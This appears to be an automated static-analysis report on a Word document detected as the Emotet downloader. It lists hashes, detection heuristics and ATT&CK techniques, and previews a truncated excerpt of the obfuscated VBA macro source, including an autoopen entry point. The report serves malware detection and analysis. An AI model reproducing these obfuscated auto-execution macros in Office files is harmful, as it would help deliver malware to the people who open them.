Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7af35b23f969bb0a…

MALICIOUS

Office (OLE)

177.9 KB Created: 2019-03-27 09:00:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: e67bfb322d1b737d03babc3227f7fd54 SHA-1: 0820ca163350c9609f622edb28d4b2cd23edfec0 SHA-256: 7af35b23f969bb0a8053eb2faf5862b5e746ff8a15a3f4342600453a361d1ee3
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes GetObject for execution. ClamAV detection identifies it as Emotet. The VBA script is heavily obfuscated but the presence of AutoOpen and GetObject indicates an intent to execute code upon opening, typical for downloading and running further malicious content.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914200-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914200-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30899 bytes
SHA-256: 03a95d22732c701ed967bf7eb9d708da9f5b96fe3e8390eaa763f587bf7d7960
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iAAUCQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wADZAQAQ"
Attribute VB_Base = "0{DBF9D248-A1E3-4610-B915-D5E26924687C}{144EA630-6A64-4AA4-8696-DAE616E571E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "oAQCXU1c"
Attribute VB_Base = "0{D882F008-105F-4102-B17D-75CB353AF897}{3B0F7A6E-082E-4FF0-AE13-7CE7D9451777}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D1DQxQxD"
Function BwQAABxC()
   If pC4k_cDX = sAx_DQB Then
      LBkDUAQ_ = P4AAwA _
- CStr(171228564) / ZA4ADD - _
Int(hUGABUc + _
Atn(573456954) - zQAAQAQ * Hex(787988212)) + (19183769 + _
Cos(380285789 / 951056319 + 563091282 * Hex(797746808))) + PDkDocGA / _
Atn(MQA1kw + Tan(692424139) / RBDDBAxU * 355986721)
End If
   If jBAQQkkk = sAUAoD Then
      GAADCGAA = HAABQA _
- CBool(974034911) / T1DAkUB - _
Tan(rACDZQoA + _
Sqr(131738762) - jACXox * CDate(217829299)) + (813291376 + _
Sin(192291776 / 764889022 + 513188544 * Rnd(366594707))) + MB_AUZ / _
Atn(SQAGAx + CInt(237044687) / rABBB1C * 930334814)
End If
   If qcxAxDQ = sXUDcDZU Then
      jXAAAA = KcAUAA _
- CByte(459845587) / JQAkcAkD - _
Round(mB4AAAUA + _
CDbl(567265184) - JAD4kkD * Tan(521976944)) + (581476970 + _
Cos(200989331 / 513244029 + 811281423 * Round(206643093))) + DAUD_A_D / _
CStr(qAXZXAQA + Sgn(976374623) / AAAkAk * 914572663)
End If
   If IQZoQA4 = jCQ1wXA Then
      oAACGABw = LoAAkDx _
- Round(2943896) / XADQUoAD - _
Sgn(bZAXwwDG + _
CBool(317089167) - X4AUGC * CInt(567766329)) + (53086463 + _
Log(75913341 / 336874088 + 996563627 * CByte(388275754))) + BA1AADkB / _
Sqr(aA1ZZ_oC + Sgn(196602926) / XDAAAD * 195243163)
End If
   If PZ4UAAA = MAAoAcC Then
      WAAAQZB = rAwA_D _
- Hex(327108312) / jBA_xDUQ - _
Log(K4A1AG + _
CStr(19221721) - GUcAwU * CSng(259500625)) + (439046460 + _
Fix(741430536 / 796565743 + 191733440 * Sin(680596984))) + MAkCAAXA / _
Hex(qUk1wAQ + Hex(154496450) / wD1AGAUU * 938577206)
End If
   If kokA41X = WAwDAA_o Then
      rAXUDQ = jABAUXAQ _
- Oct(872238221) / j1k_CA - _
Hex(zUDDCD + _
Round(512783678) - iZQBU1 * Tan(758018416)) + (55511460 + _
Rnd(118819236 / 859439527 + 609818832 * CSng(649509126))) + jAAA1C4 / _
Sgn(DAAAAAB + Sqr(766917393) / kACoUAAk * 113966824)
End If
   If RAwDcAZA = OxBAU4 Then
      kB4GDBQ = aABkAA _
- CDbl(541863833) / O_ZQUoA - _
Oct(hUAAAA + _
Tan(204727991) - UQAQcx * Oct(88108648)) + (112704049 + _
Tan(412382321 / 771226093 + 619857798 * CDate(89793234))) + QwQAA1 / _
CBool(XCUUDCoB + CDate(744727963) / cDAC_AGo * 81807815)
End If
   If SxAwBA_c = kAB_AQD Then
      qGAcwA_ = YDXCAZZC _
- Round(275725359) / EwQUxA - _
Hex(iBQA4A1A + _
Rnd(968206712) - nZxwAA * CByte(982588317)) + (313579146 + _
Sqr(82632365 / 358583134 + 327328899 * Cos(455789464))) + KDxAAAQ / _
Sgn(SwAA1AA + CStr(741670749) / OAUD4A * 751560910)
End If
End Function
Sub autoopen()
On Error Resume Next
   If W11UCUAQ = zXZD4xA Then
      DAkcGGD = bDQ14w1A _
- Oct(100611161) / cBAABXA - _
Sgn(tAo4111 + _
Sgn(716488468) - UxXcGBA * Log(199510593)) + (455262365 + _
Rnd(538794375 / 203821783 + 518163647 * Sin(399290806))) + ZxDkD_DU / _
CBool(FAUoAABQ + CByte(187884484) / sAcAoGDA * 904402020)
End If
   If zAAUBA = zwAXxx Then
      BBZZ4Ax = nkCBDA _
- Round(814607490) / LAZDDDA - _
CDate(v4BBQQA + _
Fix(245074480) - QX_AQkQB * CSng(639311380)) + (377963518 + _
Sin(525246839 / 335501568 + 154650660 * Oct(476239846))) + qAoA1k1 / _
Fix(rwBQAAwx + Oct(588038710) / cBcQQA * 2310268
... (truncated)